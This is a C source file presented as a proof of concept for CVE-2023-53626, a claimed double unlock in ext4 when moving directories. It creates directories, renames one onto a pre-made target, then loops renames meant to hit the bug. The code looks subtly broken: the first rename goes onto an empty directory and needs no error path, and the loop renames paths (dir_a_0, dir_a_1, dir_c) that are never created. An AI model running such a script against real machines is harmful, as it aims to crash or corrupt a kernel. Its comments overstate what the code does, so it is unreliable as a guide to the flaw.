// CVE-2023-53626 PoC - Trigger double unlock in ext4 directory move
// This PoC demonstrates how to trigger the double unlock vulnerability
// when moving a directory in ext4 filesystem
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <errno.h>
#include <string.h>
#define DIR_A "dir_a"
#define DIR_B "dir_b"
#define DIR_C "dir_c"
#define SUBDIR "subdir"
int main(int argc, char *argv[]) {
// Step 1: Create initial directory structure
mkdir(DIR_A, 0755);
mkdir(DIR_B, 0755);
// Step 2: Create a subdirectory inside dir_a
char path[256];
snprintf(path, sizeof(path), "%s/%s", DIR_A, SUBDIR);
mkdir(path, 0755);
// Step 3: Create files in the subdirectory to increase metadata complexity
for (int i = 0; i < 10; i++) {
char filepath[256];
snprintf(filepath, sizeof(filepath), "%s/file_%d", path, i);
int fd = open(filepath, O_CREAT | O_WRONLY, 0644);
if (fd >= 0) {
write(fd, "test data", 9);
close(fd);
}
}
// Step 4: Attempt to move dir_a into dir_b while creating
// a conflicting entry to trigger error handling path
// Create a target directory with same name to force error
snprintf(path, sizeof(path), "%s/%s", DIR_B, DIR_A);
mkdir(path, 0755); // Pre-create target to trigger error path
// Step 5: Attempt rename which triggers the double unlock bug
if (renameat(AT_FDCWD, DIR_A, AT_FDCWD, path) == -1) {
printf("rename returned: %s\n", strerror(errno));
}
// Step 6: Rapid successive moves to increase chance of triggering
// the double unlock condition
for (int i = 0; i < 100; i++) {
char src[256], dst[256];
snprintf(src, sizeof(src), "%s_%d", DIR_A, i % 2);
snprintf(dst, sizeof(dst), "%s/%s_%d", DIR_C, DIR_A, i % 2);
renameat(AT_FDCWD, src, AT_FDCWD, dst);
}
printf("PoC execution completed\n");
return 0;
}